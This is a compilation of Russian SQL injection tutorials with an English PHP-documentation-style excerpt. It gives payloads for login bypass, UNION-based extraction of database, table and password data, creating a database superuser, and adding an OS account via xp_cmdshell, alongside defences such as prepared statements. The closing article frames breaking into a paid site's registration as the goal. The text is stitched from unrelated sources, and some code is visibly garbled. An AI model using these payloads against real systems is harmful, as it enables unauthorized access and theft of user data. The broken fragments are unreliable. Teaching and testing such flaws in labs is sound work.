SQL-инъекция - это опасная уязвимость, которая возникает из-за недостаточной фильтрации вводимых пользователем данных, что позволяет модифицировать запросы к базам данных. Результатом эксплуатации SQL-инъекции является получение доступа к данным, к которым в обычных условиях у пользователя не было бы доступа.
Обычно SQLi находят в веб-приложениях. Но на самом деле, SQL-инъекции могут быть подвержены любые программы, использующие разные базы данных (не только MySQL/MariaDB).
В качестве примера, рассмотрим приложение, которое обращается к базе данных со следующим запросом:
SELECT `name`, `status`, `books` FROM `members` WHERE name = "Demo" AND password ="111"
Запрос похож на естественный язык (английский), и его значение довольно просто интерпретировать:
Выбрать (SELECT) поля `name`, `status`, `books` из (FROM) таблицы `members` где (WHERE) значение поля name равно величине Demo (name = "Demo") и (AND) значение поля password равно величине 111 (password ="111").
Этот запрос вызывает обход таблицы, в результате которого делается сравнение с каждой строкой, и если условие name = "Demo" AND password ="111" является для какой-либо строки истиной, то она попадает в результаты. В данном случае, результаты будут только если и введённое имя пользователя, и пароль в точности совпадают с теми, которые хранятся в таблице.
При этом значения «Demo» и «111» приложение получает от пользователя - например, в форме входа на сайт.
Предположим, что вместо Demo пользователь ввёл такую строку:
Demo" --
Тогда запрос к базе данных будет иметь вид:
SELECT `name`, `status`, `books` FROM `members` WHERE name = "Demo" -- " AND password ="111"
Две чёрточки (-- ) - означают комментарий до конца строки, т.е. всё, что за ними, больше не учитывается. Следовательно, из выражения условия «исчезает» часть " AND password ="111"
Поскольку в комментарии осталась закрывающая кавычка, то она также была введена с именем пользователя, чтобы не сломать синтаксис и не вызвать ошибку, в результате, фактически, к базе данных делался следующий запрос:
SELECT `name`, `status`, `books` FROM `members` WHERE name = "Demo"
В нём была нарушена логика работы программы, заложенная разработчиками. Т.е. теперь поиск в таблице производится только по имени. И если имя совпало, то строка попадает в результаты независимо от введённого пароля. Это и есть пример эксплуатации SQL-инъекции. В реальной ситуации, такая ошибка может быть использована на веб-сайте для входа под учётной записью администратора, для которой достаточно знать только имя, а пароль становится ненужным.
Кроме обхода аутентификации, SQL-инъекция используется для извлечения информации из баз данных, вызова отказа в обслуживании (DoS), эксплуатацию других уязвимостей (вроде XSS) и т.п.
Каждый раз с любым приложением, где бы не эксплуатировалась SQL-инъекция, используются следующие три базовых правила внедрения:
Балансировка заключается в том, что количество открывающих и закрывающих кавычек и скобок должно быть одинаковым, чтобы не вызвать ошибку синтаксиса. При исследовании ошибки нужно определить, используются, и если используются, то какие кавычки и скобки.
Внедрение заключается в дополнении запроса в зависимости от информации, которую мы хотим получить.
Комментирование позволяет отсечь заключительную часть запроса, чтобы она не нарушала синтаксис.
Комментарии в MySQL начинаются с символов:
Т.е. вместо
Demo" --
можно было бы ввести
Обратите внимание, что после двойной черты обязательно нужен пробел, а после # пробел необязателен.
Можно продолжить менять логику запроса, если в качестве имени пользователя вставить:
Demo" OR 1 --
то получится запрос
SELECT `name`, `status`, `books` FROM `members` WHERE name = " Demo" OR 1 -- " AND password ="111"
Уберём закомментированную часть:
SELECT `name`, `status`, `books` FROM `members` WHERE name = " Demo" OR 1
Мы используем логическое ИЛИ (OR). Логическое ИЛИ возвращает true (истину) если хотя бы одно из выражений является истиной. В данном случае второе выражение 1 всегда является истинной. Следовательно, в результаты попадут вообще все записи таблицы. В реальном веб-приложении можно достичь результата, когда будут выведены данные всех пользователей, несмотря на то, что атакующий не знал ни их логины, ни пароли.
В нашем примере после введённого значения Demo мы ставили одинарную кавычку ("), чтобы запрос оставался правильным с точки зрения синтаксиса. Запрос может быть написан по-разному, например, все следующие формы возвращают одинаковый результат.
Для запросов с цифрой:
SELECT * FROM table_name WHERE id=1 SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id=(1) SELECT * FROM table_name WHERE id=("1") SELECT * FROM table_name WHERE id=("1")
Для запросов со строкой:
SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id=("1") SELECT * FROM table_name WHERE id=("1")
В зависимости от того, как составлен запрос, нужно использовать соответствующие символы парные закрывающие символы, чтобы не происходило нарушения синтаксиса. Например, если бы запрос был записан так (в нём вместо одинарных кавычек, используются двойные):
SELECT * FROM `members` WHERE name = "$name" AND password = "$password"
то имя пользователя
не возымело бы действия и не вызвало бы ошибку. Для обозначения конца введённого имени нужно использовать закрывающую двойную кавычку, т.е.:
Для такого запроса (используются одинарные кавычки и круглые скобки):
SELECT * FROM `members` WHERE name = ("$name") AND password = ("$password")
нужно также закрывать круглые скобки, т.е. для эксплуатации SQL-инъекции нужно ввести что-то вроде
Demo") #
Главными признаками наличия SQL-инъекции является вывод ошибки или отсутствие вывода при вводе одинарной или двойной кавычки. Эти символы могут вызвать ошибку и в самом приложении, поэтому чтобы быть уверенным, что вы имеете дело именно с SQL-инъекцией, а не с другой ошибкой, нужно изучить выводимое сообщение.
Стиль ошибок MySQL:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "\"" at line 1
Ошибка в MSSQL ASPX:
Server Error in "/" Application
Ошибка в MSAccess (Apache PHP):
Fatal error: Uncaught exception "com_exception" with message Source: Microsoft JET Database Engine
Ошибка в MSAccesss (IIS ASP):
Microsoft JET Database Engine error "80040e14"
Ошибка в Oracle:
ORA-00933: SQL command not properly ended
Ошибка в ODBC:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
Ошибка в PostgreSQL:
PSQLException: ERROR: unterminated quoted string at or near """ Position: 1 или Query failed: ERROR: syntax error at or near """ at character 56 in /www/site/test.php on line 121.
Ошибка в MS SQL Server:
Microsoft SQL Native Client error %u201880040e14%u2019 Unclosed quotation mark after the character string
Информация об СУБД также используется определения, какие символы или последовательности символов можно использовать в качестве комментариев.
Для тренировки я буду использовать bWAPP (по ссылке описание и процесс установки).
Выбираем баг «SQL Injection (GET/Search) »/
От нас ожидается ввод названия фильма, введём в поиск «Iron Man»:
Iron Man"
Результат
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "%"" at line 1
Это говорит о том, что одинарные кавычки не фильтруются и что для обрамления введённых строк не используются двойные кавычки.
Iron Man"
Результат
Т.е. ничего не найдено, это говорит о том, что двойные кавычки также не фильтруются (иначе был бы найден фильм по запросу Iron Man). Также это говорит о том, что для обрамления введённых строк используются одинарные кавычки.
Исходя из полученной информации, формируем строку для вывода всех записей таблицы:
Iron Man" OR 1 #
Результат:
Для создания более сложных команд инъекции нужно знать, сколько в таблице столбцов.
ORDER BY задаёт сортировку полученных из таблицы данных. Можно задавать сортировку по имени столбца, а можно по его номеру. Причём, если столбца с таким номером нет, то будет показана ошибка.
Последовательно пробуем следующие строки (AND 0 используется для подавления лишнего вывода):
Iron Man" AND 0 ORDER BY 1 # Iron Man" AND 0 ORDER BY 2 # Iron Man" AND 0 ORDER BY 3 # ……………………… ……………………… ……………………… Iron Man" AND 0 ORDER BY 7 #
Iron Man" AND 0 ORDER BY 8 #
получен следующий результат:
Error: Unknown column "8" in "order clause"
Это означает, что восьмой столбец отсутствует в таблице, т.е. в таблице всего семь столбцов.
Другой способ нахождения количества столбцов - с помощью того же UNION. Лесенкой прибавляем количество столбцов:
Iron Man" AND 0 UNION SELECT 1 # Iron Man" AND 0 UNION SELECT 1,2 # ……………………… ……………………… ……………………… Iron Man" AND 0 UNION SELECT 1,2,3,4,5,6,7 #
Все они будут вызывать одну и туже ошибку:
Ошибка: The used SELECT statements have a different number of columns
Делайте так пока не исчезнет сообщение об ошибке.
UNION позволяет объединять результаты в один от нескольких выражений SELECT .
Конструируем наш запрос с UNION :
Iron Man" AND 0 UNION SELECT 1,2,3,4,5,6,7 #
Как я сказал, количество полей должно быть в обоих SELECT одинаковое, а вот что в этих полях — не очень важно. Можно, например, прописать просто цифры — и именно они и будут выведены. Можно прописать NULL - тогда вместо поля ничего не будет выведено.
Обратите внимание, что содержимое некоторых полей UNION SELECT 2,3,4,5 выводится на экран. Вместо цифр можно задать функции.
Есть некоторые функции и переменные, которые можно писать непосредственно в UNION :
| Переменная / Функция | Вывод |
|---|---|
| @@hostname | Текущее имя хоста |
| @@tmpdir | Директория для временных файлов |
| @@datadir | Директория с базами данных |
| @@version | Версия БД |
| @@basedir | Базовая директория |
| user() | Текущий пользователь |
| database() | Текущая база данных |
| version() | Версия |
| schema() | Текущая база данных |
| UUID() | Ключ системного UUID |
| current_user() | Текущий пользователь |
| current_user | Текущий пользователь |
| system_user() | Текущий системный пользователь |
| session_user() | Сессионный пользователь |
| @@GLOBAL.have_symlink | Проверка, включены или отключены симлинки |
| @@GLOBAL.have_ssl | Проверка, имеется SSL или нет |
Ввод для получения имени базы данных:
Iron Man" AND 0 UNION SELECT 1,database(),3,4,5,6,7 #
В списке баз данных MySQL / MariaDB всегда присутствует INFORMATION_SCHEMA . Это служебная БД, которая обеспечивает доступ к метаданным баз данных, информации о сервере MySQL. Проще говоря, она содержит информацию о всех других базах данных, которые поддерживает MySQL / MariaDB сервер. Эта информация включает имена баз данных и таблиц.
Например, следующий запрос выведет имена всех баз данных, присутствующих на сервере:
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
Используя UNION , мы можем сделать запрос к базе данных INFORMATION_SCHEMA . Например, чтобы вывести содержимое поля SCHEMA_NAME (имена присутствующих баз данных на сервере), можно сделать примерно следующий ввод:
Иногда скрипт веб-приложения, подверженный SQL-инъекции, выводит только по одной записи. В нашем примере это не так, но если бы, например, ввод
Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA #
выводил только по одной записи, то для того, чтобы посмотреть все таблицы, можно было бы использовать LIMIT . Например, для первой строки:
Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1 #
Для второй строки:
Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1 #
Для третьей строки:
Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 2,1 #
Для четвёртой строки:
Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 3,1 #
Можно задействовать более сложный синтаксис с использованием WHERE и функций. Например, следующий ввод приведёт к показу имён таблиц текущей базы данных:
Iron Man" AND 0 UNION SELECT 1,TABLE_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() #
Получив имена таблиц баз данных, можно продолжить далее и получить имена столбцов:
Желаемый запрос:
SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name="tablenamehere"
Где вместо tablenamehere нужно подставлять имя таблицы.
Например, нами получены следующий имена присутствующих в базе данных таблиц:
Тогда для получения имён столбцов в таблице blog нужно сформировать запрос
SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name="blog"
Применительно к нашей уязвимости получаем ввод:
Iron Man" AND 0 UNION SELECT 1,COLUMN_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=database() AND TABLE_NAME="blog" #
Здесь также можно применять LIMIT .
Теперь, когда мы знаем имя базы данных, имя таблицы и имя поля, мы можем извлечь данные из произвольной колонки. Например, ввод:
Например, следующий ввод для нашей уязвимости означает извлечь содержимое колонки login из таблицы users из текущей БД:
Iron Man" AND 0 UNION SELECT 1,login,3,4,5,6,7 FROM users #
В первой части были рассмотрены азы SQL-инъекции. В последующих частях будут рассмотрены различные виды SQLi и примеры эксплуатации в различных условиях. Если у вас возникли затруднения с пониманием этого материала, то рекомендуется начать с изучением языка запросов к базе данных . Если вопросы остались, то пишите их в комментариях.
Вы уже знаете о факультете информационной безопасности от GeekBrains? Комплексная годовая программа практического обучения с охватом всех основных тем, а также с дополнительными курсами в подарок . По итогам обучения выдаётся свидетельство установленного образца и сертификат . По специальная скидка на любые факультеты и курсы!
Количество сайтов и страничек в Сети неуклонно растёт. За разработку берутся все, кто только может. И начинающие веб-программисты очень часто используют небезопасный и старый код. А это создаёт массу лазеек для злоумышленников и хакеров. Чем они и пользуются. Одна из самых классических уязвимостей — SQL-инъекция.
Многие знают, что большинство сайтов и сервисов в сети используют для хранения базы SQL. Это такой язык структурированных запросов, который позволяет управлять и администрировать хранилища с данными. Известно много различных версий систем менеджмента базами данных — Oracle, MySQL, Postgre. Вне зависимости от имени и типа, они одинаково используют запросы к данным. Именно здесь и кроется потенциальная уязвимость. Если разработчик не смог правильно и безопасно обработать запрос, то злоумышленник может воспользоваться этим и применить особые тактики для получения доступа к базе, а оттуда - и к управлению всем сайтом.
Для избежания таких ситуаций нужно грамотно оптимизировать код и внимательно следить за тем, какой запрос каким способом обрабатывается.
Для установления наличия уязвимости в сети имеется масса готовых автоматизированных программных комплексов. Но можно осуществить простую проверку и вручную. Для этого нужно перейти на один из исследуемых сайтов и в адресной строке попробовать вызвать ошибку базы данных. К примеру, скрипт на сайте может не обрабатывать запросы и не обрезать их.
Например, есть некий_сайт/index.php?id=25
Самый лёгкий способ — поставить после 25 кавычку и отправить запрос. Если никакой ошибки не возникло, то либо на сайте фильтруются все запросы и правильно обрабатываются, либо в настройках отключён их вывод. Если страница перезагрузилась с проблемами, значит, уязвимость для SQL-инъекции есть.
После того как она обнаружена, можно пробовать избавиться от нее.
Для реализации данной уязвимости нужно знать немного о Одна из них — UNION. Она объединяет несколько результатов запроса в один. Так можно вычислить количество полей в таблице. Пример первого запроса выглядит так:
В большинстве случаев такая запись должна выдать ошибку. Это значит, что количество полей не равно 1. Таким образом, подбирая варианты от 1 и больше, можно установить их точное число:
То есть, когда ошибка перестанет появляться, значит, количество полей угадано.
Есть также и альтернативный вариант решения этой проблемы. Например, когда число полей большое — 30, 60 или 100. Это команда GROUP BY. Он группирует результаты запроса по какому-либо признаку, например id:
Если ошибок не было получено, значит, полей больше, чем 5. Таким образом, подставляя варианты из довольно обширного диапазона, можно вычислить, сколько же их на самом деле.
Данный пример SQL-инъекции - для новичков, которые хотят попробовать себя в тестировании своего сайта. Важно помнить, что за несанкционированный доступ к чужому имеется статья Уголовного кодекса.
Реализовать уязвимости посредством SQL-инъекции можно несколькими вариантами. Далее идут наиболее популярные методики:
UNION injection. Простой пример данного типа был уже рассмотрен выше. Реализуется он за счёт ошибки в проверке приходящих данных, которые никак не фильтруются.
Error-based SQL injection. Как понятно из названия, данный тип также использует ошибки, посылая выражения, составленные синтаксически неправильно. Затем происходит перехват заголовков ответа, анализируя которые, можно провести впоследствии SQL-инъекцию.
Stacked injection. Данная уязвимость определяется выполнением последовательных запросов. Характеризуется он присоединением в конце знака «;». Этот подход чаще реализуется для доступа к реализации чтения и записи данных или же управлением функциями операционной системы, если привилегии это позволяют.
Наличествующие для проведения SQL-инъекций, программы обычно имеют две составляющих — сканирование сайта на возможные уязвимости и их использование для получения доступа к данным. Существуют такие утилиты практически для всех известных платформ. Их функционал в значительной мере облегчает проверку сайта на возможность взлома SQL-инъекцией.
Очень мощный сканер, работающий с большинством известных СУБД. Поддерживает различные методики внедрения SQL-инъекций. Имеет возможность автоматического распознавания типа хэша пароля и его взлома по словарю. Присутствует и функционал загрузки и выгрузки файлов с сервера.
Установка в среде Linux выполняется с помощью команд:
Для Windows имеется как вариант с командной строкой, так и с графическим интерфейсом пользователя.
jSQL Injection — кроссплатформенный инструмент для тестирования использования SQL уязвимостей. Написан на Java, поэтому в системе должен быть установлен JRE. Способен обрабатывать запросы header, cookie. Обладает удобным графическим интерфейсом.
Установка данного программного комплекса происходит так:
wget https://github.com/`curl -s https://github.com/ron190/jsql-injection/releases| grep-E -o "/ron190/jsql-injection/releases/download/v{1,2}.{1,2}/jsql-injection-v{1,2}.{1,2}.jar"| head-n 1`
Запуск осуществляется с помощью команды java -jar ./jsql-injection-v*.jar
Для того чтобы начать проверку сайта на SQL-уязвимость, нужно ввести его адрес в верхнее поле. Они есть отдельные для GET и для POST. При положительном результате в левом окне появится список доступных таблиц. Их можно просмотреть и узнать некую конфиденциальную информацию.
Для поиска административных панелей используется вкладка «Admin page». На ней с помощью специальных шаблонов выполняется автоматический поиск системных записей привилегированных пользователей. Из них можно получить всего лишь хэш пароля. Но и он имеется в инструментарии программы.
После нахождения всех уязвимостей и инъектирования нужных запросов, утилита позволит залить на сервер свой файл или же, наоборот, скачать его оттуда.
Данная программа — простой в использовании инструмент для поиска и реализации уязвимостей в SQL. Производит оон это на основе так называемых дорков. Их списки можно найти в интернете. Дорки для SQL-инъекций — это специальные шаблоны поисковых запросов. С их помощью можно найти потенциально через любой поисковик.
На сайте itsecgames.com имеется специальный набор инструментария, который позволяет на примере показывает как сделать SQL инъекцию и протестировать ее. Для того чтобы воспользоваться, её нужно скачать и установить. Архив содержит в себе набор файлов, который представляет собой структуру сайта. Для его установки понадобится имеющийся в системе набор веб-сервера Apache, MySQL и PHP.
Распаковав архив в папку веб-сервера, надо перейти по адресу, введённому при установке данного программного продукта. Откроется страница с регистрацией пользователя. Здесь нужно ввести свои данные и нажать «Create». Переведя пользователя в новое окно, система предложит выбрать один из вариантов тестирования. Среди них имеется как описываемые инъекции, так и много других тестовых заданий.
Стоит рассмотреть пример SQL-инъекции типа GET/Search. Здесь нужно выбрать ее и нажать «Hack». Перед пользователем предстанет строка поиска и имитация некоего сайта с фильмами. Перебирать фильмы можно долго. Но их всего 10. К примеру, можно попробовать ввести Iron Man. Выведется фильм, значит, сайт работает, и таблицы в нем имеются. Теперь надо проверить, фильтрует ли скрипт особые символы, в частности кавычку. Для этого в строку адреса нужно добавить "». Причём, сделать это надо после названия фильма. Сайт выдаст ошибку Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "%"" at line 1, которая гласит о том, что символы всё-таки обрабатываются неправильно. Значит, можно пробовать подставить свой запрос. Но нужно сначала вычислить количество полей. Для этого используется order by, который вводится после кавычки: http://testsites.com/sqli_1.php?title=Iron+Man" order by 2 --&action=search.
Данная команда просто выведет сведения о фильме, то есть количество полей больше 2. Двойной дефис сообщает серверу, что остальные запросы нужно отбросить. Теперь надо перебирать, подставляя все большие значения до тех пор, пока не выведется ошибка. В итоге получится, что полей будет 7.
Теперь настало время получить что-то полезное из базы. Придётся немного модифицировать запрос в адресной строке, приведя ее к такому виду: http://testsites.com/sqli_1.php?title=Iron+Man" union select 1, database(),user(),4,password,6,7 from users --&action=search. В результате её выполнения выведутся строки с хэшами паролей, которые можно легко превратить в понятные символы с помощью одного из онлайн сервисов. А немного поколдовав и подобрав имя поля с логином, можно получить доступ к чужой записи, например админа сайта.
В продукте имеется масса разновидностей типов инъекций, на которых можно попрактиковаться. Стоит помнить, что применение данных навыков в сети, на реальных сайтах может оказаться уголовно наказуемым.
Как правило, именно PHP-код и отвечает за необходимую обработку запросов, приходящих от пользователя. Поэтому именно на этом уровне нужно выстраивать защиту от SQL-инъекций в PHP.
Теперь немного о правилах составления запросов в MySQL для защиты от SQL-инъекций.
При составлении каких-либо выражений для запроса важно отделять данные от ключевых слов SQL.
В данной конструкции система может подумать, что Zerg — это имя какого-либо поля, поэтому нужно заключить его в кавычки.
Однако, бывают ситуации, когда значение само по себе содержит кавычки.
Здесь обработается только часть кот-д, а остальная может быть воспринята как команда, которой, естественно, нет. Поэтому возникнет ошибка. Значит нужно такого рода данные экранировать. Для этого используется обратный слэш - \.
Все вышеперечисленное относится к строкам. Если действие происходит с числом, то ему не нужны ни кавычки ни слэши. Однако их надо обязательно в принудительном порядке приводить к необходимому типу данных.
Существует рекомендация, по которой имя поля должна быть заключена в обратную кавычку. Этот символ находится в левой части клавиатуры, вместе со знаком тильда «~». Это нужно для того, чтобы MySQL могла точно отличить имя поля от своего ключевого слова.
Очень часто для получения каких-либо данных из базы используются запросы, сформированные динамически. Например:
Здесь переменная $number передается в качестве определения значения поля. Что же будет, если в неё попадёт "кот-д"ивуар"? Ошибка.
Избежать данной неприятности, конечно, можно включив «волшебные кавычки» в настройках. Но теперь данные будут экранироваться там, где надо и не надо. К тому же если код пишется вручную, то можно потратить немного больше времени на то, чтобы создать стойкую к взлому систему самому.
Для самостоятельного добавления слэша можно использовать mysql_real_escape_string.
$number=mysql_real_escape_string($number);
$year=mysql_real_escape_string($year);
$query="INSERT INTO table (number,year,class) VALUES ("$number","$year",11)".
Хотя код и вырос в объеме, все же, потенциально он будет работать гораздо безопаснее.
Плейсхолдеры — своеобразные маркеры, по которым система узнает что в это место нужно подставить специальную функцию. Например:
$sate = $mysqli->prepare("SELECT District FROM Number WHERE Name=?");
$sate->bind_param("s", $number);
$sate->execute();
Данный участок кода производит подготовку шаблона запроса, затем привязывает переменную number, и выполняет его. Данный подход позволяет разделить обработку запроса и его реализацию. Таким образом, можно уберечься от использования внедрения вредоносного кода в SQL-запросы.
Защита системы - очень важный фактор, которым нельзя пренебрегать. Конечно, простенький сайт-визитку будет проще восстановить. А если это большой портал, сервис, форум? Какие последствия могут быть, если не думать о безопасности?
Во-первых, хакер может нарушить как целостность базы, так и удалить её целиком. И если администратор сайта или хостер не сделали бэкап, то придётся несладко. Помимо всего, злоумышленник, взломав один сайт, может перейти на другие, размещённые на этом же сервере.
Далее идет хищение личных данных посетителей. Как их использовать — тут все ограничивается лишь фантазией хакера. Но в любом случае последствия будут не очень приятными. Тем более если содержалась финансовая информация.
Также злоумышленник может слить базу себе, а затем вымогать деньги за её возврат.
Дезинформация пользователей от имени лицом им не являющимся, также может нести негативные последствия, так как возможны факты мошенничества.
Вся информация в данной статье предоставлена исключительно в ознакомительных целях. Использовать её нужно только для тестирования собственных проектов при обнаружении уязвимостей и их устранения.
Для более углублённого изучения методики того, как провести SQL-инъекцию, нужно начать собственно с исследования возможностей и особенностей языка SQL. Как составляются запросы, ключевые слова, типы данных и применение всего этого.
Также не обойтись без понимания работы функций PHP и элементов HTML. Основными уязвимыми точками для использования инъекций — адресная строка, поиск и различные поля. Изучение функций PHP, способ их реализации и возможности позволят понять, как можно избежать ошибок.
Наличие множества готовых программных инструментов позволяют провести глубокий анализ сайта на известные уязвимости. Один из наиболее популярных продуктов — kali linux. Это образ операционной системы на базе Linux, который содержит в себе большое количество утилит и программ, способных провести разносторонний анализ сайта на прочность.
Для чего нужно знать, как взломать сайт? Все очень просто — это надо для того, чтобы иметь представление о потенциально уязвимых местах своего проекта или сайта. Особенно если это какой-либо интернет-магазин с возможностью оплаты онлайн, где платёжные данные пользователя могут быть скомпрометированы злоумышленником.
Для профессионального исследования существуют службы информационной безопасности смогут проверить сайт по разным критериям и глубине. Начиная от простой HTML-инъекции и до социальной инженерии и фишинга.
Many web developers are unaware of how SQL queries can be tampered with, and assume that an SQL query is a trusted command. It means that SQL queries are able to circumvent access controls, thereby bypassing standard authentication and authorization checks, and sometimes SQL queries even may allow access to host operating system level commands.
Direct SQL Command Injection is a technique where an attacker creates or alters existing SQL commands to expose hidden data, or to override valuable ones, or even to execute dangerous system level commands on the database host. This is accomplished by the application taking user input and combining it with static parameters to build an SQL query. The following examples are based on true stories, unfortunately.
Owing to the lack of input validation and connecting to the database on behalf of a superuser or the one who can create users, the attacker may create a superuser in your database.
Example #1 Splitting the result set into pages ... and making superusers (PostgreSQL)
$offset
=
$argv
[
0
];
// beware, no input validation!
$query
=
$offset
;"
;
$result
=
pg_query
($conn
,
$query
);
?>
Normal users click on the "next", "prev" links where the $offset is encoded into the URL . The script expects that the incoming $offset is a decimal number. However, what if someone tries to break in by appending a urlencode() "d form of the following to the URL If it happened, then the script would present a superuser access to him. Note that 0; is to supply a valid offset to the original query and to terminate it.
It is common technique to force the SQL parser to ignore the rest of the query written by the developer with -- which is the comment sign in SQL.
A feasible way to gain passwords is to circumvent your search result pages. The only thing the attacker needs to do is to see if there are any submitted variables used in SQL statements which are not handled properly. These filters can be set commonly in a preceding form to customize WHERE, ORDER BY, LIMIT and OFFSET clauses in SELECT statements. If your database supports the UNION construct, the attacker may try to append an entire query to the original one to list passwords from an arbitrary table. Using encrypted password fields is strongly encouraged.
The static part of the query can be combined with another SELECT statement which reveals all passwords:" union select "1", concat(uname||"-"||passwd) as name, "1971-01-01", "0" from usertable; --
If this query (playing with the " and -- ) were assigned to one of the variables used in $query , the query beast awakened.
SQL UPDATE"s are also susceptible to attack. These queries are also threatened by chopping and appending an entirely new query to it. But the attacker might fiddle with the SET clause. In this case some schema information must be possessed to manipulate the query successfully. This can be acquired by examining the form variable names, or just simply brute forcing. There are not so many naming conventions for fields storing passwords or usernames.
But if a malicious user submits the value " or uid like"%admin% to $uid to change the admin"s password, or simply sets $pwd to hehehe", trusted=100, admin="yes to gain more privileges, then, the query will be twisted:// $uid: " or uid like "%admin%
$query
=
"UPDATE usertable SET pwd="..." WHERE uid="" or uid like "%admin%";"
;
// $pwd: hehehe", trusted=100, admin="yes
$query
=
"UPDATE usertable SET pwd="hehehe", trusted=100, admin="yes" WHERE
...;"
;
?>
A frightening example of how operating system level commands can be accessed on some database hosts.
If attacker submits the value a%" exec master..xp_cmdshell "net user test testpass /ADD" -- to $prod , then the $query will be: MSSQL Server executes the SQL statements in the batch including a command to add a new user to the local accounts database. If this application were running as sa and the MSSQLSERVER service is running with sufficient privileges, the attacker would now have an account with which to access this machine.Some of the examples above is tied to a specific database server. This does not mean that a similar attack is impossible against other products. Your database server may be similarly vulnerable in another manner.
Example #5 A more secure way to compose a query for paging
settype
($offset
,
"integer"
);
$query
=
"SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET
$offset
;"
;
// please note %d in the format string, using %s would be meaningless
$query
=
sprintf
("SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET %d;"
,
$offset
);
?>
Besides these, you benefit from logging queries either within your script or by the database itself, if it supports logging. Obviously, the logging is unable to prevent any harmful attempt, but it can be helpful to trace back which application has been circumvented. The log is not useful by itself, but through the information it contains. More detail is generally better than less.
SQL Injection
достаточно хорошая возможность для хакера получить
доступ к серверу. И при небольшом усилии, он
все-таки его получает 🙂
Coder inside
В наше время работа с базами данных поддерживается
практически всеми языками программирования, к таким можно отнести BASIC, C++, Java, PERL, PHP, Assembler и даже JavaScript! А называются эти программы никак иначе как СУБД — системы управления базами данных. Зачастую базы данных применяются для решения финансовых задач,
бухгалтерии, организации кадров, но свое применение они нашли и в Интернете.
Базы данных часто используются для написания WEB-приложений. Их использование наиболее уместно для хранения пользовательских регистрационных данных, идентификаторов сессий, организации поиска, а также других задач требующих обработки большего
количества данных. Для обращения к БД используются серверные технологии: PHP, PERL, ASP, и т.д. Именно тут и начинается самое интересное. Когда на сервере
установлены все патчи, а брандмауэр блокирует все порты кроме 80-ого или когда требуется аутентификация для доступа к некоторым данным, для взлома хакер может использовать SQL Injection. Суть данной атаки заключается в использовании ошибки на стыке WEB технологий и SQL. Дело в том, что многие web страницы для обработки пользовательских данных, формируют специальный SQL
запрос к БД. Неосторожное использование данной методики может привести к довольно интересным результатам…
Для пояснения атаки представим себе, что ты зашел на сайт чтобы скачать одну очень важную тулзу и с ужасом замечаешь, что сделать это может только зарегистрированный пользователь, а регистрация, конечно же, стоит денег 🙂 Последние заработанные отдавать не хочется, а без программы никак! Самое время вспомнить о том как
обращаться к базам данных SQL
. Например, проверка логина и пароля, на PHP может иметь следующий вид:
$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" AND
pass="$password"");
$num_rows=mysql_num_rows($result);
mysql_close($link);
if ($num_rows!=0)
{
// AUTHENTICATION OK
}
else
{
// AUTHENTICATION ERROR
}
Я добавил два комментария, «AUTHENTICATION OK » — вместо него должен
идти код, который исполнится в том случае, если пароль и логин верны. Другой «AUTHENTICATION ERROR » — место где будет описан код, исполняющийся в случае их неправильности. Если заполнить форму, то запрос получится похожим на «http://www.server.com?login=user&password=31337», где www.server.com имя
сервера, к которому мы пытаемся подключиться. Мы нашли то что искали, а по сему снова вернемся к работе SQL
. Итак, если вы для авторизации должны указать логин и пароль, то сформированный SQL
запрос будет иметь следующий вид:
SELECT * FROM users WHERE login="user" AND
password="31337"
Это значит примерно следующее: верни мне все записи из базы данных users у которых логин «user», а пароль «31337». Если существует такая запись, значит пользователь зарегистрирован, ну а если нет, то нет… Но при определенных обстоятельствах все можно исправить. Имеется ввиду ситуация, когда приложение не проверяет содержимое передаваемых данных или проверяет не полностью, на наличие SQL инструкций. В данном примере сверяются два поля login и password, но если в качестве пароля указать «31337′ AND email=’[email protected]»(без двойных кавычек), то запрос получится уже немного другим:
SELECT * FROM users WHERE login="user" AND password="31337" AND
email="[email protected]"
И в случае существования поля email это условие также будет проверено. Если вспомнить основы булевой алгебры, то приходит в голову что кроме операции «и» существует и «или», а поскольку их использование поддерживается SQL, можно выше
описанным способом добавить условие которое всегда возвращает истину. Для осуществления данного, необходимо в качестве логина указать «user’ OR 1=1—«, в таком случае запрос примет вид:
SELECT * FROM users WHERE login="user" OR 1=1--" AND
password="31337"
Для начала следует знать, что «—» означает конец запроса, и все после «—»
обрабатываться не будет! Получается, словно мы сделали запрос:
SELECT * FROM users WHERE login="user" OR 1=1
Как вы видите мы добавили условие «1=1», значит критерием проверки будет «если логин ‘user’ или 1=1», но ведь 1 всегда равно 1 (исключением может быть только арифметика Дани Шеповалова:)). Чтобы проверить наши подозрения
забиваем в адресной строке «http://www.server.com?login=user or 1=1—&password=31337». Это приводит к тому, что не играет роли какой именно логин мы указали, а
тем более пароль! И мы в матри… ой, в системе и можем спокойно качать то что нам необходимо.
